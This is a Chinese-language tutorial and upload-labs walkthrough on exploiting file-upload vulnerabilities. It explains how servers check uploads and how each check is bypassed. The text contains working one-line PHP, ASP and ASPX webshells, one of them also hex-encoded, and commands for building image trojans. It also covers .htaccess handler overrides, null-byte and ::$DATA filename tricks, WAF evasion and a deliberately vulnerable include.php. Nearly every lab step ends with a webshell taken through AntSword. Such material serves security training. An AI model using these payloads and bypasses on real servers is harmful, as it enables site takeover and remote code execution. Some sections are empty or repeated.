文件上传漏洞是web安全中经常用到的一种漏洞形式。是对数据与代码分离原则的一种攻击。上传漏洞顾名思义,就是攻击者上传了一个可执行文件如木马,病毒,恶意脚本,WebShell等到服务器上,并能被服务器解析执行,最终获得网站控制权限的高危漏洞(网站前后台没有对访客提交的数据进行检验或者过滤不严,可以直接提交修改过的数据绕过扩展名的检验);
大部分的网站和应用系统都有上传功能(比如文档、图片、头像、视频上传功能等),而程序员在开发任意文件上传功能时,并未考虑文件格式后缀的合法性检测或者是否只在前端通过js进行后缀检验。这时攻击者可以上传一个与网站脚本语言相对应的恶意代码动态脚本,例如(jsp、asp、php、aspx文件后缀)到服务器上,从而访问这些恶意脚本中包含的恶意代码,进行动态解析最终达到执行恶意代码的效果,进一步影响服务器安全;(如获取webshell)
上传漏洞与SQL注入或 XSS相比 , 其风险更大 , 如果 Web应用程序存在上传漏洞 , 攻击者上传的文件是Web脚本语言,服务器的Web容器解释并执行了用户上传的脚本,导致代码执行;
通常在前端网页中写一段Javascript脚本,检测上传文件的后缀名,编写白名单或者黑名单;(一般只检测后缀名)
MIME (Multipurpose Internet Mail Extensions):描述消息内容类型的因特网标准;
服务器对用户上传的文件,的文件类型进行检测,不允许上传的文件类型会被禁止上传;
如上传正常图片可以通过,改Content-Type为application/octet-stream则失败,则存在MIME类型检测;
常见MIME类型
EG:
audio/mpeg -> .mp3
application/msword -> .doc
application/octet-stream -> .exe
application/pdf -> .pdf
application/x-javascript -> .js
application/x-rar -> .rar
application/zip -> .zip
image/gif -> .gif
image/jpeg -> .jpg / .jpeg
image/png -> .png
text/plain -> .txt
text/html -> .html
video/mp4 -> .mp4
...
使用Burpsuite(抓包工具)抓取请求数据包,更改数据包中的Content-Type为服务器允许上传的类型;
服务器会对用户上传的文件,进行文件内容的检测,检验内容是否合法或包含恶意代码;
上传正常图片可以通过,改了文件头部上传失败,则存在文件内容检测;
文件幻数检测:检验文件开头是否存在相应文件的幻数;
幻数 magic number,它可以用来标记文件或者协议的格式,很多文件都有幻数标志来表明该文件的格式;
破坏文件幻数,则上传失败,可以考虑在正常的幻数后面加入一句话木马,进行绕过;
常见幻数(文件头标识)
EG:
.jpg FF D8 FF E0 00 10 4A 46 49 46(尾部FF D9)
.gif 47 49 46 38 39(37) 61(G I F 8 9 (7) a)
.png 89 50 4E 47 0D 0A 1A 0A
...
结构加载测试:一般是指调用API尝试获取图片结构,若上传的文件结构无法解析,则上传失败;
只需要把文件头部分伪造好(如添加GIF89a等)就可绕过,一般可直接在文件尾上加入木马代码;
EG:
GIF89a
...
渲染测试:一般是指调用API尝试渲染图片,若上传的图片无法渲染,则上传失败;
在不破坏文件本身的渲染情况下找一个空白区进行填充代码即可绕过(使用Winhex工具(查看文件编码格式)在不破坏文件本身的渲染情况下找一个空白区进行填充代码,一般会是图片的注释区);
二次渲染:图片上传后被重新渲染后保存,因此文件内的注入代码会被破坏;(即上传后下载的图片,与上传时的图片数据内容不一致)
先上传不完整的图片,通过报错信息了解使用什么API进行二次渲染,然后对渲染组件进行攻击,常见为溢出攻击(加载测试时被溢出攻击执行 shellcode,比如 access/mdb 溢出);
服务器会对用户上传的文件,进行文件的扩展名检测,检验文件的扩展名是否合法;
上传正常文件可以通过,改了扩展名上传失败,则存在文件扩展名检测;
黑名单检测:一般网站会有个专门的 blacklist 文件,里面会包含常见的危险脚本文件;
常用的一些可执行的文件脚本后缀:
EG:
.php .php5 .php4 .php3 .php2 .pHp .pHp5 .pHp4 .pHp3 .pHp2 .html .htm .phtml .pht .Html .Htm .pHtml
.asp .aspx .asa .asax .ascx .ashx .asmx .cer .aSp .aSpx .aSa .aSax .aScx .aShx .aSmx .cEr
.jsp .jspa .jspx .jsw .jsv .jspf .jtml .jSp .jSpx .jSpa .jSw .jSv .jSpf .jHtml
.py
绕过技巧:
与黑名单的作用相反,只有在白名单中的的文件扩展名才能允许被上传至服务器其中;
输入一个不存在的后缀仍提示错误后缀,则说明服务器使用白名单;
绕过技巧:
校验规则只校验当文件后缀名为asp/php/jsp的文件内容是否为木马代码;
绕过方式:(这里以php为例,文件包含漏洞主要存在于PHP中)
EG:
EG:
#PHP
#ASP
#JSP
or
<%@include file="上传的txt文件路径"%>
Apache解析漏洞(Apache 解析文件的规则是从右到左开始判断解析,如果后缀名为不可识别文件解析,就再往左判断。比如test.php.owf.rar “.owf”和”.rar” 这两种后缀是apache不可识别解析,apache就会把wooyun.php.owf.rar解析成php)
1、可执行文件的FilesMatch配置错误(如.\php.\)导致a.php.jpg被解析为a.php导致文件能被服务器运行;
2、
IIS解析漏洞(在test.asp/ jkl , IIS 的某些版本中会直接当成asp来解析; test.asp;jkl ,IIS某些版本也会按照asp 来解析;任意文件名/任意文件名.php,IIS 某些版本会直接当php来解析)
1、IIS 6.0:IIS6.0 在解析 asp 时有两个解析漏洞,一个是如果任意目录名包含 .asp 字符串,那么这个目录下的所有文件 都会按照 asp 去解析,另一个是文件名中含有 asp;,就会优先当作 asp 来解析;
EG:
目录解析:/test.asp/test.jpg,文件解析:/test.asp;.jpg,两者都会被服务器解析为.asp文件;
2、IIS 7.0/7.5:IIS7.0/7.5 对php解析有所类似于 Nginx 的解析漏洞,只要对任意文件名在url后面追加上 字符串 / 任意文件名.php 就会按照php去解析;
EG:
Fast-CGI下,上传test.jpg,然后访问test.jpg/.php或test.jpg/xxx.php当前目录下就会生成一句话木马 shell.php文件;
Nginx解析漏洞(在某些使用Nginx的网站中,访问http://www.xxser.com/1.jpg/1.php,此时的1.jpg会被当作PHP脚本来解析,此时1.php是不存在的,这就意味着攻击者可以上传合法的“图片”(图片木马),然后在URL后面加上“/xxx.php”,就可以获得网站的WebShell)
EG:
将shell语句,如’);?>写在文本xx.txt中(或者shell语句直接写一句话木马,用蚁剑、Cknife等工具直连,只是容易被查杀),然后用命令将shell语句附加在正常图片xx.jpg后copy xx.jpg/b + xx.txt/a test.jpg上传test.jpg,然后访问test.jpg/.php或test.jpg/xxx.php当前目录下就会生成一句话木马 shell.php文件;
1、PHP-FPM攻击:使用fpm3 .py ip port php_file php_code攻击 ;
2、cgi.fix_pathinfo=1 可导致文件解析漏洞,高版本则可以用白名单security.limit_extensions修复;
(Nginx的解析漏洞实质上是实际上是PHP CGI解析漏洞,这不是Nginx特有的漏洞,在IIS7.0、IIS7.5、Lighttpd等Web容器中也经常会出现这样的解析漏洞)
(PHP CGI的漏洞,在PHP的配置文件php.ini中有一个关键的选项cgi.fix_pathinfo,默认是开启的,当URL中有不存在的文件,PHP就会向前递归解析)
(用copy命令制作图片木马:copy 1.jpg/b+1.php/a 2.php (其中/b表示二进制文件,/a表示ASCII码文件))
服务器会对用户提交的URL链接中的或者上传数据包中的 path 参数合法性(如果可以指定目录的话)
有些主机WAF软件为了不影响web服务器的性能,会对校验的用户数据设置大小上限,比如1M,此种情况可以构造一个大文件,前面1M的内容为垃圾内容,后面才是真正的木马内容,便可以绕过WAF对文件内容的校验;
针对早期版本安全狗,在Content-Disposition(内容设置)参数后面可以多加一个filename;
有些WAF的规则是:如果数据包为POST类型,则校验数据包内容;此种情况可以上传一个POST型的数据包,使用工具抓取数据包,并将数据包中的POST改为GET;
在IIS的环境下,上传文件时如果存在多个Content-Disposition的话,IIS会取第一个Content-Disposition中的值作为接收参数,而如果waf只是取最后一个的话便会被绕过;
尝试上传一个test.php文件(一句话木马)到服务器;
EG:
<?php @eval($_POST['test']); ?>
经过尝试发现,一旦上传非法文件,网页前端页面就会进行报错提示(只能上传.jpg|.png|.gif类型的文件);
判断存在,客户端JS检测;
考虑到前端无法通过文件后缀名为非.jpg|.png|.gif的验证,尝试上传文件名为(test.jpg)的一句话木马文件,再使用Burpsuite工具抓取上传数据包,并更改上传文件类型.jpg为php ;
文件上传成功,使用蚁剑连接test.php文件,成功获取webshell;
尝试上传一个test.php文件(一句话木马)到服务器,服务器提示(上传文件类型不正确),判断可能存在服务端检测;
尝试上传一个test.php文件(一句话木马)到服务器,并使用BURPSUITE抓取数据包,更改(Content-Type)类型为(image/jpeg),服务器提示上传成功;
判断存在,服务端Content-Type检测;
使用Burpsuite工具抓取数据包,更改(Content-Type)类型为(image/jpeg),上传服务器,服务器提示上传成功;
文件上传成功,使用蚁剑连接test.php文件,成功获取webshell;
尝试上传一个test.php文件(一句话木马)到服务器,服务器提示(不允许上传.asp,.aspx,.php,.jsp后缀文件! ),判断可能存在服务端检测;
尝试上传一个test.php文件(一句话木马)到服务器,并使用BURPSUITE抓取数据包,更改(Content-Type)类型为(image/jpeg),服务器提示(此文件不允许上传! );
尝试上传一个test.jpg(test.php文件更改后缀名php为jpg)文件到服务器,服务器提示上传成功;
尝试上传一个test.txt(test.php文件更改后缀名php为txt)文件到服务器,服务器提示上传成功;
尝试上传一个test.phps(test.php文件更改后缀名php为phps)文件到服务器,服务器提示上传成功;
判断存在,服务端文件扩展名检测(黑名单检测);
更改test.php文件扩展名为phps(test.phps),上传服务器,服务器提示上传成功;
但是要让服务器成功的将其解析为php文件,还得将Apache的配置文件中设置AddType;
EG:
AddType application/x-httpd-php .php .phtml .phps .php5 .pht
AddType application/x-httpd-php .jpg
...
文件上传成功,使用蚁剑连接test.phps文件,成功获取webshell;
如果要将jpg图片解析为php文件,也可以设置AddType;
或者构造.htaccess配置文件(更改Apache配置文件内容),内容如下:AddType application/x-httpd-php .jpg,并上传至服务器)
(.htaccess文件生效前提条件为1.mod_rewrite模块开启。2.AllowOverride All)
上传一个.htaccess(AddType application/x-httpd-php .jpg)文件到服务器,服务器提示上传成功;
尝试上传一个test.jpg(test.php文件更改后缀名php为jpg)文件到服务器,服务器提示上传成功;
文件上传成功,使用蚁剑连接test.jpg文件,成功获取webshell;
尝试上传一个test.php文件(一句话木马)到服务器,服务器提示(此文件不允许上传! ),判断可能存在服务端检测;
尝试上传一个test.php文件(一句话木马)到服务器,并使用BURPSUITE抓取数据包,更改(Content-Type)类型为(image/jpeg),服务器提示(此文件不允许上传! );
尝试上传一个test.jpg(test.php文件更改后缀名php为jpg)文件到服务器,服务器提示上传成功;
尝试上传一个test.txt(test.php文件更改后缀名php为txt)文件到服务器,服务器提示上传成功;
尝试上传一个test.phps(test.php文件更改后缀名php为phps)文件到服务器,服务器提示上传成功;
。。。
尝试上传一个test.php1(test.php文件更改后缀名php为php1)文件到服务器,服务器提示(此文件不允许上传!);
尝试上传一个test.php3(test.php文件更改后缀名php为php3)文件到服务器,服务器提示(此文件不允许上传! );
尝试上传一个test.php5(test.php文件更改后缀名php为php5)文件到服务器,服务器提示(此文件不允许上传! );
尝试上传一个test.asp(<%eval request (“test”)%>)文件到服务器,服务器提示(此文件不允许上传! );
尝试上传一个test.aspx(<%@ Page Language=“Jscript”%> <%eval(Request.Item[“test”],“unsafe”);%>)文件到服务器,服务器提示(此文件不允许上传! );
尝试上传一个test.jsp(test.php文件更改后缀名php为jsp)文件到服务器,服务器提示(此文件不允许上传! );
。。。
尝试上传一个.htaccess(AddType application/x-httpd-php .jpg)文件到服务器,服务器提示上传成功;
判断存在,服务端文件扩展名检测(黑名单检测);
更改test.php文件扩展名为phps(test.phps),上传服务器,服务器提示上传成功;
文件上传成功,使用蚁剑连接test.phps文件,成功获取webshell;
上传一个.htaccess(AddType application/x-httpd-php .jpg)文件到服务器,服务器提示上传成功;
尝试上传一个test.jpg(test.php文件更改后缀名php为jpg)文件到服务器,服务器提示上传成功;
文件上传成功,使用蚁剑连接test.jpg文件,成功获取webshell;
上传一个test.php文件(一句话木马)到服务器,并使用Burpsuite抓取数据包,更改(filename)为(test.php. .),上传服务器,服务器提示上传成功;
文件上传成功,使用蚁剑连接test.php文件,成功获取webshell;
尝试上传一个test.php文件(一句话木马)到服务器,服务器提示(此文件类型不允许上传!),判断可能存在服务端检测;
尝试上传一个test.php文件(一句话木马)到服务器,并使用BURPSUITE抓取数据包,更改(Content-Type)类型为(image/jpeg),服务器提示(此文件类型不允许上传! );
尝试上传一个test.jpg(test.php文件更改后缀名php为jpg)文件到服务器,服务器提示上传成功;
尝试上传一个test.txt(test.php文件更改后缀名php为txt)文件到服务器,服务器提示上传成功;
尝试上传一个test.phps(test.php文件更改后缀名php为phps)文件到服务器,服务器提示上传成功;
。。。
尝试上传一个test.php1(test.php文件更改后缀名php为php1)文件到服务器,服务器提示(此文件类型不允许上传! );
尝试上传一个test.php3(test.php文件更改后缀名php为php3)文件到服务器,服务器提示(此文件类型不允许上传! );
尝试上传一个test.php5(test.php文件更改后缀名php为php5)文件到服务器,服务器提示(此文件类型不允许上传! );
尝试上传一个test.asp(<%eval request (“test”)%>)文件到服务器,服务器提示(此文件类型不允许上传! );
尝试上传一个test.aspx(<%@ Page Language=“Jscript”%> <%eval(Request.Item[“test”],“unsafe”);%>)文件到服务器,服务器提示(此文件类型不允许上传! );
尝试上传一个test.jsp(test.php文件更改后缀名php为jsp)文件到服务器,服务器提示(此文件类型不允许上传! );
。。。
尝试上传一个.htaccess(AddType application/x-httpd-php .jpg)文件到服务器,服务器提示(此文件类型不允许上传! );
判断存在,服务端文件扩展名检测(黑名单检测);
更改test.php文件扩展名为phps(test.phps),上传服务器,服务器提示上传成功;
文件上传成功,使用蚁剑连接test.phps文件,成功获取webshell;
更改test.php文件扩展名为PHP(test.PHP),上传服务器,服务器提示上传成功;
文件上传成功,使用蚁剑连接test.PHP文件,成功获取webshell;
尝试上传一个test.php文件(一句话木马)到服务器,服务器提示(此文件不允许上传 ),判断可能存在服务端检测;
尝试上传一个test.php文件(一句话木马)到服务器,并使用BURPSUITE抓取数据包,更改(Content-Type)类型为(image/jpeg),服务器提示(此文件不允许上传);
尝试上传一个test.jpg(test.php文件更改后缀名php为jpg)文件到服务器,服务器提示上传成功;
尝试上传一个test.txt(test.php文件更改后缀名php为txt)文件到服务器,服务器提示上传成功;
尝试上传一个test.phps(test.php文件更改后缀名php为phps)文件到服务器,服务器提示上传成功;
。。。
尝试上传一个test.php1(test.php文件更改后缀名php为php1)文件到服务器,服务器提示(此文件不允许上传);
尝试上传一个test.php3(test.php文件更改后缀名php为php3)文件到服务器,服务器提示(此文件不允许上传);
尝试上传一个test.php5(test.php文件更改后缀名php为php5)文件到服务器,服务器提示(此文件不允许上传);
尝试上传一个test.asp(<%eval request (“test”)%>)文件到服务器,服务器提示(此文件不允许上传);
尝试上传一个test.aspx(<%@ Page Language=“Jscript”%> <%eval(Request.Item[“test”],“unsafe”);%>)文件到服务器,服务器提示(此文件不允许上传);
尝试上传一个test.jsp(test.php文件更改后缀名php为jsp)文件到服务器,服务器提示(此文件不允许上传 );
。。。
尝试上传一个.htaccess(AddType application/x-httpd-php .jpg)文件到服务器,服务器提示(此文件不允许上传 );
判断存在,服务端文件扩展名检测(黑名单检测);
更改test.php文件扩展名为phps(test.phps),上传服务器,服务器提示上传成功;
文件上传成功,使用蚁剑连接test.phps文件,成功获取webshell;
上传一个test.php文件(一句话木马)到服务器,并使用BURPSUITE抓取数据包,更改(filename)为(test.php ),上传服务器,服务器提示上传成功;
文件上传成功,使用蚁剑连接test.php文件,成功获取webshell;
尝试上传一个test.php文件(一句话木马)到服务器,服务器提示(此文件类型不允许上传! ),判断可能存在服务端检测;
尝试上传一个test.php文件(一句话木马)到服务器,并使用BURPSUITE抓取数据包,更改(Content-Type)类型为(image/jpeg),服务器提示(此文件类型不允许上传! );
尝试上传一个test.jpg(test.php文件更改后缀名php为jpg)文件到服务器,服务器提示上传成功;
尝试上传一个test.txt(test.php文件更改后缀名php为txt)文件到服务器,服务器提示上传成功;
尝试上传一个test.phps(test.php文件更改后缀名php为phps)文件到服务器,服务器提示上传成功;
。。。
尝试上传一个test.php1(test.php文件更改后缀名php为php1)文件到服务器,服务器提示(此文件不允许上传);
尝试上传一个test.php3(test.php文件更改后缀名php为php3)文件到服务器,服务器提示(此文件不允许上传);
尝试上传一个test.php5(test.php文件更改后缀名php为php5)文件到服务器,服务器提示(此文件不允许上传);
尝试上传一个test.asp(<%eval request (“test”)%>)文件到服务器,服务器提示(此文件不允许上传);
尝试上传一个test.aspx(<%@ Page Language=“Jscript”%> <%eval(Request.Item[“test”],“unsafe”);%>)文件到服务器,服务器提示(此文件不允许上传);
尝试上传一个test.jsp(test.php文件更改后缀名php为jsp)文件到服务器,服务器提示(此文件不允许上传 );
。。。
尝试上传一个.htaccess(AddType application/x-httpd-php .jpg)文件到服务器,服务器提示(此文件不允许上传 );
判断存在,服务端文件扩展名检测(黑名单检测);
更改test.php文件扩展名为phps(test.phps),上传服务器,服务器提示上传成功;
文件上传成功,使用蚁剑连接test.phps文件,成功获取webshell;
上传一个test.php文件(一句话木马)到服务器,并使用BURPSUITE抓取数据包,更改(filename)为(test.php.),上传服务器,服务器提示上传成功;
文件上传成功,使用蚁剑连接test.php文件,成功获取webshell;
上传一个test.php文件(一句话木马)到服务器,并使用Burpsuite抓取数据包,更改(filename)为(test.php. .),上传服务器,服务器提示上传成功;
文件上传成功,使用蚁剑连接test.php文件,成功获取webshell;
尝试上传一个test.php文件(一句话木马)到服务器,服务器提示(此文件类型不允许上传! ),判断可能存在服务端检测;
尝试上传一个test.php文件(一句话木马)到服务器,并使用BURPSUITE抓取数据包,更改(Content-Type)类型为(image/jpeg),服务器提示(此文件类型不允许上传! );
尝试上传一个test.jpg(test.php文件更改后缀名php为jpg)文件到服务器,服务器提示上传成功;
尝试上传一个test.txt(test.php文件更改后缀名php为txt)文件到服务器,服务器提示上传成功;
尝试上传一个test.phps(test.php文件更改后缀名php为phps)文件到服务器,服务器提示上传成功;
。。。
尝试上传一个test.php1(test.php文件更改后缀名php为php1)文件到服务器,服务器提示(此文件类型不允许上传! );
尝试上传一个test.php3(test.php文件更改后缀名php为php3)文件到服务器,服务器提示(此文件类型不允许上传! );
尝试上传一个test.php5(test.php文件更改后缀名php为php5)文件到服务器,服务器提示(此文件类型不允许上传! );
尝试上传一个test.asp(<%eval request (“test”)%>)文件到服务器,服务器提示(此文件类型不允许上传! );
尝试上传一个test.aspx(<%@ Page Language=“Jscript”%> <%eval(Request.Item[“test”],“unsafe”);%>)文件到服务器,服务器提示(此文件类型不允许上传! );
尝试上传一个test.jsp(test.php文件更改后缀名php为jsp)文件到服务器,服务器提示(此文件类型不允许上传! );
。。。
尝试上传一个.htaccess(AddType application/x-httpd-php .jpg)文件到服务器,服务器提示(此文件类型不允许上传! );
判断存在,服务端文件扩展名检测(黑名单检测);
更改test.php文件扩展名为phps(test.phps),上传服务器,服务器提示上传成功;
文件上传成功,使用蚁剑连接test.phps文件,成功获取webshell;
上传一个test.php文件(一句话木马)到服务器,并使用Burpsuite抓取数据包,更改(filename)为(test.php::$DATA),上传服务器,服务器提示上传成功;
文件上传成功,使用蚁剑连接test.php文件,成功获取webshell;
尝试上传一个test.php文件(一句话木马)到服务器,服务器提示(此文件类型不允许上传! ),判断可能存在服务端检测;
尝试上传一个test.php文件(一句话木马)到服务器,并使用BURPSUITE抓取数据包,更改(Content-Type)类型为(image/jpeg),服务器提示(此文件类型不允许上传! );
尝试上传一个test.jpg(test.php文件更改后缀名php为jpg)文件到服务器,服务器提示上传成功;
尝试上传一个test.txt(test.php文件更改后缀名php为txt)文件到服务器,服务器提示上传成功;
尝试上传一个test.phps(test.php文件更改后缀名php为phps)文件到服务器,服务器提示上传成功;
。。。
尝试上传一个test.php1(test.php文件更改后缀名php为php1)文件到服务器,服务器提示(此文件类型不允许上传! );
尝试上传一个test.php3(test.php文件更改后缀名php为php3)文件到服务器,服务器提示(此文件类型不允许上传! );
尝试上传一个test.php5(test.php文件更改后缀名php为php5)文件到服务器,服务器提示(此文件类型不允许上传! );
尝试上传一个test.asp(<%eval request (“test”)%>)文件到服务器,服务器提示(此文件类型不允许上传! );
尝试上传一个test.aspx(<%@ Page Language=“Jscript”%> <%eval(Request.Item[“test”],“unsafe”);%>)文件到服务器,服务器提示(此文件类型不允许上传! );
尝试上传一个test.jsp(test.php文件更改后缀名php为jsp)文件到服务器,服务器提示(此文件类型不允许上传! );
。。。
尝试上传一个.htaccess(AddType application/x-httpd-php .jpg)文件到服务器,服务器提示(此文件类型不允许上传! );
判断存在,服务端文件扩展名检测(黑名单检测);
更改test.php文件扩展名为phps(test.phps),上传服务器,服务器提示上传成功;
文件上传成功,使用蚁剑连接test.phps文件,成功获取webshell;
上传一个test.php文件(一句话木马)到服务器,并使用Burpsuite抓取数据包,更改(filename)为(test.php. .),上传服务器,服务器提示上传成功;
文件上传成功,使用蚁剑连接test.php文件,成功获取webshell;
尝试上传一个test.php文件(一句话木马)到服务器,服务器提示上传成功,尝试使用蚁剑连接test.php文件,连接失败,同时在浏览器中访问该文件,服务器提示404,判断可能存在服务端检测(服务器更改了文件);
尝试上传一个test.jpg(test.php文件更改后缀名php为jpg)文件到服务器,服务器提示上传成功,同时在浏览器中访问该文件,页面返回成功;
尝试上传一个test.txt(test.php文件更改后缀名php为txt)文件到服务器,服务器提示上传成功,同时在浏览器中访问该文件,页面返回成功;
尝试上传一个test.phps(test.php文件更改后缀名php为phps)文件到服务器,服务器提示上传成功,同时在浏览器中访问该文件,页面返回404;
。。。
尝试上传一个test.php1(test.php文件更改后缀名php为php1)文件到服务器,服务器提示上传成功,同时在浏览器中访问该文件,页面返回404;
尝试上传一个test.php3(test.php文件更改后缀名php为php3)文件到服务器,服务器提示上传成功,同时在浏览器中访问该文件,页面返回404;
尝试上传一个test.php5(test.php文件更改后缀名php为php5)文件到服务器,服务器提示上传成功,同时在浏览器中访问该文件,页面返回404;
尝试上传一个test.asp(<%eval request (“test”)%>)文件到服务器,服务器提示上传成功,同时在浏览器中访问该文件,页面返回404;
尝试上传一个test.aspx(<%@ Page Language=“Jscript”%> <%eval(Request.Item[“test”],“unsafe”);%>)文件到服务器,服务器提示上传成功,同时在浏览器中访问该文件,页面返回404;
尝试上传一个test.jsp(test.php文件更改后缀名php为jsp)文件到服务器,服务器提示上传成功,同时在浏览器中访问该文件,页面返回404;
。。。
尝试上传一个.htaccess(AddType application/x-httpd-php .jpg)文件到服务器,服务器提示(上传出错! );
尝试上传一个test.php文件(一句话木马)到服务器,并使用Burpsuite抓取数据包,更改(filename)为(test.php.或者test.php 或者test.php. .或者test.php::$DATA),上传服务器,服务器提示上传成功,同时在浏览器中访问该文件(test.php),页面返回404;
尝试上传一个test.Php(test.php文件更改后缀名php为Php)文件到服务器,服务器提示上传成功,同时在浏览器中访问该文件,页面返回404;
尝试上传一个test.pphphp(test.php文件更改后缀名php为pphphp)文件到服务器,同时在浏览器中访问该文件,页面返回成功;
判断存在,服务端文件扩展名检测(黑名单检测+关键字空格替换);
上传一个test.pphphp(test.php文件更改后缀名php为pphphp)文件到服务器,服务器提示上传成功;
文件上传成功,使用蚁剑连接test.php文件,成功获取webshell;
尝试上传一个test.php文件(一句话木马)到服务器,服务器提示(只允许上传.jpg|.png|.gif类型文件!),判断可能存在服务端检测;
尝试上传一个test.php文件(一句话木马)到服务器,并使用BURPSUITE抓取数据包,更改(Content-Type)类型为(image/jpeg),服务器提示(只允许上传.jpg|.png|.gif类型文件!);
尝试上传一个test.jpg(test.php文件更改后缀名php为jpg)文件到服务器,服务器提示上传成功;
尝试上传一个test.txt(test.php文件更改后缀名php为txt)文件到服务器,服务器提示(只允许上传.jpg|.png|.gif类型文件!);
尝试上传一个test.phptest(test.php文件更改后缀名php为phptest)文件到服务器,服务器提示(只允许上传.jpg|.png|.gif类型文件!);
判断存在,服务端文件扩展名检测(白名单检测);
条件:
尝试上传一个test.php文件(一句话木马)到服务器,服务器提示(只允许上传.jpg|.png|.gif类型文件!),判断可能存在服务端检测;
尝试上传一个test.php文件(一句话木马)到服务器,并使用BURPSUITE抓取数据包,更改(Content-Type)类型为(image/jpeg),服务器提示(只允许上传.jpg|.png|.gif类型文件!);
尝试上传一个test.jpg(test.php文件更改后缀名php为jpg)文件到服务器,服务器提示上传成功;
尝试上传一个test.txt(test.php文件更改后缀名php为txt)文件到服务器,服务器提示(只允许上传.jpg|.png|.gif类型文件!);
尝试上传一个test.phptest(test.php文件更改后缀名php为phptest)文件到服务器,服务器提示(只允许上传.jpg|.png|.gif类型文件!);
判断存在,服务端文件扩展名检测(白名单检测);
上传一个test.jpg文件(一句话木马test.php文件更改后缀名php为jpg)到服务器,并使用Burpsuite抓取数据包,更改(…/upload/)为(…/upload/test.php+),使用Burpsuite的Proxy模块的Hex功能,更改(+)的十六进制(2b)为(00)的十六进制(00),上传服务器,服务器提示上传成功;
文件上传成功,使用蚁剑连接test.php文件,成功获取webshell;
尝试上传一个test.php文件(一句话木马)到服务器,服务器提示(文件未知,上传失败!),判断可能存在服务端检测;
尝试上传一个test.php文件(一句话木马)到服务器,并使用BURPSUITE抓取数据包,更改(Content-Type)类型为(image/jpeg),服务器提示(文件未知,上传失败!);
尝试上传一个test.jpg(test.php文件更改后缀名php为jpg)文件到服务器,服务器提示(文件未知,上传失败!);
尝试上传一个test.png(test.php文件更改后缀名php为png)文件到服务器,服务器提示(文件未知,上传失败!);
尝试上传一个test.gif(test.php文件更改后缀名php为gif)文件到服务器,服务器提示(文件未知,上传失败!);
尝试上传一个test.jpg文件(一句话木马)到服务器,并使用BURPSUITE抓取数据包,使用Proxy,模块的Hex功能修改2个(+)的二进制(2b)为jpg文件头幻数(FF D8 FF E0),服务器提示上传成功;
尝试上传一个test.png文件(一句话木马)到服务器,并使用BURPSUITE抓取数据包,使用Proxy,模块的Hex功能修改4个(+)的二进制(2b)为png文件头幻数(89 50 4E 47),服务器提示上传成功;
尝试上传一个test.gif文件(一句话木马)到服务器,并使用BURPSUITE抓取数据包,使用Proxy,模块的Hex功能修改4个(+)的二进制(2b)为gif文件头幻数(47 49 46 38 ),服务器提示上传成功;
判断存在,服务端文件内容检测(文件头幻数检测);
使用copy命令,制作一句话图片木马(test1.jpg)(copy test.jpg + test.php test1.jpg),上传到服务器,服务器提示上传成功;
使用winhex软件,查看上传图片马,发现图片包含完整的一句话代码;
按照页面提示,cmd下,使用copy命令,制作一句话图片木马(test1.png)(copy test.png + test.php test1.png),上传到服务器,服务器提示上传成功;
使用winhex软件,查看上传图片马,发现图片包含完整的一句话代码;
使用copy命令,制作一句话图片木马(test1.gif)(copy test.gif + test.php test1.gif),上传到服务器,服务器提示上传成功;
使用winhex软件,查看上传图片马,发现图片包含完整的一句话代码;
验证能否使用文件包含漏洞运行图片马中的恶意代码;
在./upload-labs目录下存在一个include.php,可以用来验证;
<?php
/*
本页面存在文件包含漏洞,用于测试图片马是否能正常运行!
*/
header("Content-Type:text/html;charset=utf-8");
$file = $_GET['file'];
if(isset($file)){
include $file;
}else{
show_source(__file__);
}
?>
蚁剑连接使用链接(上传文件的文件名可以从服务器返回页面查看);
EG:
http://192.168.1.101/upload-labs/include.php?%20file=http://192.168.1.101/upload-labs/upload/9120191126101000.png
文件上传成功,使用蚁剑连接9120191126101000.png文件,成功获取webshell;
利用winhex工具在含有一句话木马文件的txt文件的十六进制内容首部添加(FF D8 FF E0),保存为jpg文件格式,上传到服务器,服务器提示上传成功;
文件上传成功,使用蚁剑连接上传文件,成功获取webshell;
利用winhex工具在含有一句话木马文件的txt文件的十六进制内容首部添加(89 50 4E 47 0D 0A 1A 0A),保存为png文件格式,上传到服务器,服务器提示上传成功;
文件上传成功,使用蚁剑连接上传文件,成功获取webshell;
在含有一句话木马文件的内容的txt文件的开始位置,添加GIF89a(也可以直接使用winhex工具添加GIF89a的十六进制),保存为gif文件格式,上传到服务器,服务器提示上传成功;
文件上传成功,使用蚁剑连接上传文件,成功获取webshell;
尝试上传一个test.php文件(一句话木马)到服务器,服务器提示(文件未知,上传失败!),判断可能存在服务端检测;
尝试上传一个test.php文件(一句话木马)到服务器,并使用BURPSUITE抓取数据包,更改(Content-Type)类型为(image/jpeg),服务器提示(文件未知,上传失败!);
尝试上传一个test.jpg(test.php文件更改后缀名php为jpg)文件到服务器,服务器提示(文件未知,上传失败!);
尝试上传一个test.png(test.php文件更改后缀名php为png)文件到服务器,服务器提示(文件未知,上传失败!);
尝试上传一个test.gif(test.php文件更改后缀名php为gif)文件到服务器,服务器提示(文件未知,上传失败!);
尝试上传一个,利用winhex工具添加了jpg文件头标识的test.jpg文件(一句话木马)到服务器,服务器提示(文件未知,上传失败!);
尝试上传一个,利用winhex工具添加了png文件头标识的test.png文件(一句话木马)到服务器,服务器提示上传成功;
尝试上传一个,利用winhex工具添加了gif文件头标识的test.gif文件(一句话木马)到服务器,服务器提示上传成功;
尝试使用winhex软件,查看正常的图片文件1.jpg的十六进制内容,并在十六进制文件内容末尾,添加一句话木马的十六进制值(3c3f706870406576616c28245f504f53545b2774657374275d293b3f3e),生成新的图片文件test.jpg(也可以使用cmd下的copy命令或者是在burpsuite下使用Hex功能下添加生成),上传该文件到服务器,服务器提示上传成功;
尝试使用蚁剑工具利用文件包含漏洞去连接上传文件,连接成功;
尝试使用winhex软件,查看正常的图片文件2.png的十六进制内容,并在十六进制文件内容末尾,添加一句话木马的十六进制值(3c3f706870406576616c28245f504f53545b2774657374275d293b3f3e),生成新的图片文件test.png(也可以使用cmd下的copy命令或者是在burpsuite下使用Hex功能下添加生成),上传该文件到服务器,服务器提示上传成功;
尝试使用蚁剑工具利用文件包含漏洞去连接上传文件,连接成功;
尝试使用winhex软件,查看正常的图片文件3.gif的十六进制内容,并在十六进制文件内容末尾,添加一句话木马的十六进制值(3c3f706870406576616c28245f504f53545b2774657374275d293b3f3e),生成新的图片文件test.gif(也可以使用cmd下的copy命令或者是在burpsuite下使用Hex功能下添加生成),上传该文件到服务器,服务器提示上传成功;
尝试使用蚁剑工具利用文件包含漏洞去连接上传文件,连接成功;
